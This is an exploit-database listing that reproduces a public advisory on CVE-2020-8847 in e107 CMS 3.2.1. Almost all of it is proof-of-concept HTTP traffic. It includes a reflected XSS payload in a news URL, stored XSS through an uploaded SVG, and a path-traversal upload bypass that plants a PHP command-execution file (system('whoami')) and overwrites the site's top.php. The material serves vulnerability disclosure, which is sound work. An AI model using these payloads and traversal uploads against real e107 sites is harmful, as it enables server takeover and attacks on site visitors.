e107 CMS 3.2.1 Arbitrary File Upload / Cross Site Scripting
CVE
Category
Price
Severity
CVE-2020-8847
CWE-434
Not specified
High
Author
Risk
Exploitation Type
Date
Roberto Soares Espreto
High
Remote
2022-05-11
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required High PR The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022050048 e107 CMS 3.2.1 Arbitrary File Upload / Cross Site Scripting # Exploit Title: e107 CMS v3.2.1 - Multiple Vulnerabilities
# Date: 30/04/2022
# Exploit Author: Hubert Wojciechowski
# Contact Author: [email protected]
# Vendor Homepage: https://e107.org/
# Software Link: https://e107.org/download
# Version: 3.2.1
# Tested on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
### XSS Reflected - Via adding comment (Authenticated)
# POC
Request:
GET /e107/news.php/fnzi4'onchange='alert(1)'?extend.1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: e107_tzOffset=-60; PHPSESSID=2ju9huul2lsl7565jpre0f2g40
Response:
HTTP/1.1 200 OK
Date: Tue, 14 Dec 2021 08:02:42 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.11
X-Powered-By: e107
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
ETag: "71d7966eaa95fd8ac14da8baf3e0785d"
Content-Length: 25059
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=utf-8
[...]
<div class='media' >
<form id='e-comment-form' method='post' action='/e107/news.php/fnzi4'onchange='alert(1)'?extend.1' >
[...]
User click to comment in news, writes any character in the comment field, and clicks elsewhere outside the comment field
image.png
### Upload restriction bypass (Authenticated [Admin]) + Stored Xss.
Account with administrative privileges can bypass upload image restriction (XSS Stored from .svg file)
image->media manager->upload a file->Image/File URL
admin can upload SVG from localhost ->http://127.0.0.1:8070/xxe_svg2.svg
# POC
Request:
POST /e107/e107_admin/image.php?mode=main&action=dialog&for=page^&tagid=&iframe=1&bbcode=img HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/e107/e107_admin/image.php?mode=main&action=dialog&for=page^&tagid=&iframe=1&bbcode=img
Cookie: e107_tzOffset=-60; PHPSESSID=t656bpkef7ndqm0p8j9ddf9atl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
upload_url=http%3A%2F%2F127.0.0.1%3A8070%2Fxxe_svg2.svg&upload_remote_url=1&upload_caption=
Response:
HTTP/1.1 200 OK
Date: Tue, 14 Dec 2021 02:06:14 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.11
X-Powered-By: e107
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
ETag: "06ed5ef56b0f736995112cafd77e9ec0"
Content-Length: 20878
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=utf-8
<!doctype html>
<html lang="en">
<head>
<title>Media Manager - Admin Area :: trrrrrrrrrrrrrrrr
[...]
<div class='well clearfix media-carousel-item-container'>
<a data-toggle='context' data-bs-toggle='context' class='e-media-select ' data-id='' data-width='0' data-height='0' data-src='/e107/e107_media/416f4602e3/images/2021-12/xxe_svg2.svg' data-type='image' data-bbcode='img' data-target='' data-path='{e_MEDIA_IMAGE}2021-12/xxe_svg2.svg' data-preview='/e107/e107_media/416f4602e3/images/2021-12/xxe_svg2.svg' data-preview-html='PGltZyBjbGFzcz0iaW1nLXJlc3BvbnNpdmUgaW1nLWZsdWlkIiBzcmM9Ii9lMTA3L2UxMDdfbWVkaWEvNDE2ZjQ2MDJlMy9pbWFnZXMvMjAyMS0xMi94eGVfc3ZnLnN2ZyIgYWx0PSJ4eGVfc3ZnLnN2ZyIgc3Jjc2V0PSIvZTEwNy9lMTA3X21lZGlhLzQxNmY0NjAyZTMvaW1hZ2VzLzIwMjEtMTIveHhlX3N2Zy5zdmcgMngiIHdpZHRoPSIyMTAiIGhlaWdodD0iMTQwIiAgLz4=' title="xxe_svg2.svg ()" style='' href='#' ><span><img class="img-responsive img-fluid" alt="" src="/e107/e107_media/416f4602e3/images/2021-12/xxe_svg2.svg" style="display:inline-block" /></span>
</a>
[...]
image.png
### Upload restriction bypass (Authenticated [Admin])+RCE
Upload and execute .PHP file
Attacker must upload file to ../../../ to parent directory, due to fact that somehow application user can only execute PHP code when uploading to parent directory.
image.png
Media Manager-> Media Upload/Import -> From a remote location
# POC
Request
POST /e107/e107_admin/image.php?mode=main&action=import HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/e107/e107_admin/image.php?mode=main&action=import
Cookie: e107_tzOffset=-60; PHPSESSID=9ngnt3lteu7133g74qb9nu3jtu
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
upload_url=http%3A%2F%2F127.0.0.1%3A8070%2Fcmd2.php&upload_remote_url=1&upload_caption=..%2F..%2F..%2Fcmd.php
Response:
HTTP/1.1 200 OK
Date: Tue, 14 Dec 2021 09:02:08 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.11
X-Powered-By: e107
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
ETag: "5b9621fc78893e36034b14f841f840f8"
Content-Length: 26075
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=utf-8
<!doctype html>
<html lang="en">
<head>
<title>Media Manager - Admin Area :: trrrrrrrrrrrrrrrr
[...]
We can see uploaded PHP file on the server side.
image.png
cmd.php file source:
<?php
system('whoami');
?>
image.png
### Upload restriction bypass (Authenticated [Admin])+ Server file override
Attacker can override example top.php file in the main directory of web application.
Original file top.php in server:
image.png
We can override file via following upload functionality:
Media Manager-> Media Upload/Import -> From a remote location
# POC
Request:
POST /e107/e107_admin/image.php?mode=main&action=import HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/e107/e107_admin/image.php?mode=main&action=import
Cookie: e107_tzOffset=-60; PHPSESSID=9ngnt3lteu7133g74qb9nu3jtu
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
upload_url=http%3A%2F%2F127.0.0.1%3A8070%2Fcmd2.php&upload_remote_url=1&upload_caption=..%2F..%2F..%2Ftop.php
Response:
HTTP/1.1 200 OK
Date: Tue, 14 Dec 2021 09:20:10 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.11
X-Powered-By: e107
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
ETag: "5b9621fc78893e36034b14f841f840f8"
Content-Length: 26075
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=utf-8
[...]
top.php file content was tampered:
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